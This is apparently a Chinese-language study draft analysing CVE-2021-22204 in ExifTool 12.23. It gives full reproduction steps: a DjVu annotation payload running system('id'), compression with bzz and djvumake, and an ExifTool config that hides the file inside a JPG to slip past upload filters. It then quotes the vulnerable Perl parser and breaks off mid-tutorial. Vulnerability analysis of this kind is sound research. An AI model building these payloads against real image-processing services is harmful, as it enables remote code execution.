这应该算是CVE-2021-22204的分析文章,但更多像是我的草稿本,写满了很多杂乱无章的东西,对于漏洞分析文章而言显得有些废话了,但却让我学到很多。
说实话,我从未使用过这款工具,也几乎没有接触过Perl这门语言,导致我在分析,乃至复现的过程中心中满是问号。在开始分析之前,先看看网上已公开的poc,以及我心中的疑问。
看到的一篇文章是[1],其对漏洞产生的原因进行了简短介绍,但是由于我看不懂Perl代码,很多地方不清楚。其复现过程如下:
下载12.23版本的exiftool
wget https://codeload.github.com/exiftool/exiftool/zip/refs/tags/12.23 -O exiftool-12.23.zip
解压安装
$ unzip exiftool-12.23.zip && cd exiftool-12.23
$ perl Makefile.PL
$ make test
$ sudo make install
当然,如果你不想安装它,可以直接将exiftool-12.23目录下的exiftool文件放到环境变量能够找到的目录下,这样也可以直接使用exiftool工具,因为Perl是解释型语言,类似python。
制作一个恶意图片,首先安装所需工具
$ sudo apt-get update
$ sudo apt-get install djvulibre-bin
执行以下命令创建一个恶意的djvu文件
$ echo "(metadata \"\\\\c\${system('id')};\")" > payload
# 这是最让我困惑的地方,我不懂为什么要进行压缩(因为看其他POC是不需要的)
$ bzz payload payload.bzz
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Anything in the format 'N,N' where N is a number
# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image
# ANTz = Will write the compressed annotation chunk with the input file
接着通过exiftool工具解析该恶意文件,会发现id命令成功执行了
$ exiftool exploit.jdvu
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
前面制作通过djvumake命令制作djvu格式文件的时候,能不能不压缩payload?因为从分析的角度看这不便于查看和测试。当然可以,只需要将参数ANTz换成ANTa。这里的ANTz和ANTa可以参考exiftool说明文档[3],但是他们具体的含义我还是没找到,因为没找到标准说明。
这里还是想吐槽一下,本来想通过
man djvumake查看参数的说明,结果里面根本没有对ANTz和ANTa的说明,文档日期为2001年,许久未曾更新过了。
| Tag ID | Tag Name | Writable |
|---|---|---|
| 'ANTa' | ANTa | - |
| 'ANTz' | CompressedAnnotation | - |
ANTa表示在djvu文件内metadata中以明文格式存储Annotation,ANTz为bzz压缩格式。
但是djvu格式的文件并不常见,特别是在网站上存在上传图片的情况时,大多只接受png/jpg/jpeg等文件。所以如果能将恶意的djvu文件变成一个jpg文件,那就好了。
exiftool工具可以帮助我们修改图片的内容,只要把恶意的djvu文件插入到jpg文件的合适位置就好了,至于具体是哪个位置,为什么可以是这个位置,后面分析时再说明。
构建一个exiftool配置文件eval.config
%Image::ExifTool::UserDefined = (
# All EXIF tags are added to the Main table, and WriteGroup is used to
# specify where the tag is written (default is ExifIFD if not specified):
'Image::ExifTool::Exif::Main' => {
# Example 1. EXIF:NewEXIFTag
# 0xc51b 对应Tag 'HasselbladExif'[6]
0xc51b => {
# 名字可以随意指定,这是接收的参数名称
Name => 'HasselbladExif',
# 可写入的变量类型
Writable => 'string',
# 写入的数据归属于metadata的哪一个Group[7]
WriteGroup => 'IFD0',
},
# add more user-defined EXIF tags here...
},
);
1; #end
关于exiftool配置文件的写法,可以参考[4][5]。接着找一个普通的jpg图片文件poc.jpg,执行以下命令
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' poc.jpg
再通过exiftool解析poc.jpg,命令成功执行
$ exiftool poc.jpg
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
以下的分析过程参考了[2]中的内容,漏洞的影响版本为exiftool < 12.24,引起漏洞的文件为
lib/Image/ExifTool/DjVu.pm (line 202)
相关函数代码如下
#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
# and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
# a number of assumptions here!
sub ParseAnt($)
{
my $dataPt = shift;
my (@toks, $tok, $more);
# (the DjVu annotation syntax really sucks, and requires that every
# single token be parsed in order to properly scan through the items)
Tok: for (;;) {
# find the next token
last unless $$dataPt =~ /(\S)/sg; # get next non-space character
if ($1 eq '(') { # start of list
$tok = ParseAnt($dataPt);
} elsif ($1 eq ')') { # end of list
$more = 1;
last;
} elsif ($1 eq '"') { # quoted string
$tok = '';
for (;;) {
# get string up to the next quotation mark
# this doesn't work in perl 5.6.2! grrrr
# last Tok unless $$dataPt =~ /(.*?)"/sg;
# $tok .= $1;
my $pos = pos($$dataPt);
last Tok unless $$dataPt =~ /"/sg;
$tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
# we're good unless quote was escaped by odd number of backslashes
last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
$tok .= '"'; # quote is part of the string
}
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
# convert C escape sequences (allowed in quoted text)
$tok = eval qq{"$tok"};
} else { # key name
pos($$dataPt) = pos($$dataPt) - 1;
# allow anything in key but whitespace, braces and double quotes
# (this is one of those assumptions I mentioned)
$tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
}
push @toks, $tok if defined $tok;
}
# prevent further parsing unless more after this
pos($$dataPt) = length $$dataPt unless $more;
return @toks ? \@toks : undef;
}
不曾接触过Perl语言,讲真,基本没看懂这代码在干啥,不过好在有非常良好的注释帮助理解该函数的功能。从函数注释来看,它是用来解析djvu文件中的annotation数据的,并且根据代码的结构来看,是递归处理,而且annotation数据是以()为边界的。
为了便于理解代码,同时出于学习的目的,这里简单介绍一下Perl内部正则表达式的使用。
Perl正则的使用方法和特别,和我之前接触过的语言不太一样。Perl中正则有三种形式:
m//,m可省略s///tr/////之间的是正则表达式或者字符串,但是分隔符也可以是{}而不是局限于//,这是Perl语言的特点。
下面先看匹配的代码示例
#!/usr/bin/perl
$str = "this is a string";
$str =~ /this/;
print $str;
print "\n";